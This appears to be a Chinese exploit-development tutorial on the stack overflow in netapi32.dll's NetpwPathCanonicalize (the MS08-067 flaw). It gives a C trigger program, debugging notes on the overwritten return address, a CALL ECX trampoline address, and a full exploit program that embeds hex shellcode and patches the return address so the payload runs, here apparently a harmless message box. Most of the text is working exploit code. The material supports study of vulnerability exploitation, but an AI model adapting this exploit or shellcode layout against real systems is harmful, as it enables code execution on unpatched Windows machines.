1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <windows.h> typedef void (__stdcall * MYPROC) (LPTSTR, LPTSTR, int , LPTSTR, long *, long ) ;#define PATH1_SIZE (0xc2*2) #define PATH2_SIZE (0x150*2) #define OUTBUF_SIZE 0x440 #define PREFIX_SIZE 0x410 int main () { char PathName1[PATH1_SIZE]; char PathName2[PATH2_SIZE]; char Outbuf[OUTBUF_SIZE]; int OutbufLen=OUTBUF_SIZE; char Prefix1[PREFIX_SIZE]; char Prefix2[PREFIX_SIZE]; long PathType1=44 ; long PathType2=44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll" ; char VulFunc[ ] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset (PathName1,0 ,sizeof (PathName1)); memset (PathName1,0 ,sizeof (PathName1)); memset (PathName1,'a' ,sizeof (PathName1)-2 ); memset (PathName2,0 ,sizeof (PathName2)); memset (PathName2,0 ,sizeof (PathName2)); memset (PathName2,'b' ,sizeof (PathName2)-2 ); memset (Prefix1,0 ,sizeof (Prefix1)); memset (Prefix2,0 ,sizeof (Prefix2)); (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0 ); (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0 ); FreeLibrary(LibHandle); return 0 ; }
动态调试在动态调试时,当第二次调用 NetpwPathCanonicalize,运行至 0x5FDDA33E 处的 wcscat 时发生了栈溢出,如下图所示。
可以看到, EBP、返回地址以及 CanonicalizePathName 的部分参数被覆盖,溢出成功。ecx 始终指向栈中(0x0012EA18),那我们就选用 0x71BBFCBE 处的 CALL ECX 作为跳板。
从上面溢出图片可以看出,0x0012EE2C 是被 ”bbbb“ 溢出覆盖了,我们只用找到它相对偏移就能够替换掉 0x0012EE2C 处的内容。向前找到 b 的起始位置,可以看到 b 从 0x0012EB9A 处开始,相对偏移就是 0x(292+4)。直接在钩造完成后,复制前,把PathName2[296] 覆盖为我们想要的地址( 0x71BBFCBE )。
因为我们需要执行 shellcode,所以我们要把 shellcode 放在 PathName1 的开头,就能运行。
按照如下布局,构建代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <windows.h> typedef void (__stdcall * MYPROC) (LPTSTR, LPTSTR, int , LPTSTR, long *, long ) ;#define PATH1_SIZE (0xc2*2) #define PATH2_SIZE (0x150*2) #define OUTBUF_SIZE 0x440 #define PREFIX_SIZE 0x410 char ShellCode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; int main () { char PathName1[PATH1_SIZE]; char PathName2[PATH2_SIZE]; char Outbuf[OUTBUF_SIZE]; int OutbufLen=OUTBUF_SIZE; char Prefix1[PREFIX_SIZE]; char Prefix2[PREFIX_SIZE]; long PathType1=44 ; long PathType2=44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll" ; char VulFunc[ ] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset (PathName1,0 ,sizeof (PathName1)); memset (PathName1,0 ,sizeof (PathName1)); memset (PathName1,'a' ,sizeof (PathName1)-2 ); memcpy (PathName1, ShellCode, sizeof (ShellCode)); PathName1[sizeof (ShellCode)-1 ] = 0x90 ; memset (Prefix1,0 ,sizeof (Prefix1)); memset (Prefix2,0 ,sizeof (Prefix2)); memset (PathName2,0 ,sizeof (PathName2)); memset (PathName2,0 ,sizeof (PathName2)); memset (PathName2,'b' ,sizeof (PathName2)-2 ); PathName2[0x296 ] = 0xBE ; PathName2[0x297 ] = 0xFC ; PathName2[0x298 ] = 0xBB ; PathName2[0x299 ] = 0x71 ; (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0 ); (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0 ); FreeLibrary(LibHandle); return 0 ; }
最后,运行,又是我们熟悉的对话框。